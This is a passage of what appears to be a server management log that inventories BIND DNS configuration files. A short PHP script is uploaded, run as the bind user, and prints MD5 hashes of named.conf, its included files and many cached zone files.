MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:41:37: Establishing a connection
2025-12-31 19:41:49: Establishing a connection
2025-12-31 19:41:49:
PUT: /tmp/pkp884399
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:41:49:
runuser -l bind -s /bin/bash -c '/tmp/pkp884399; rm /tmp/pkp884399'
2025-12-31 19:41:49:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
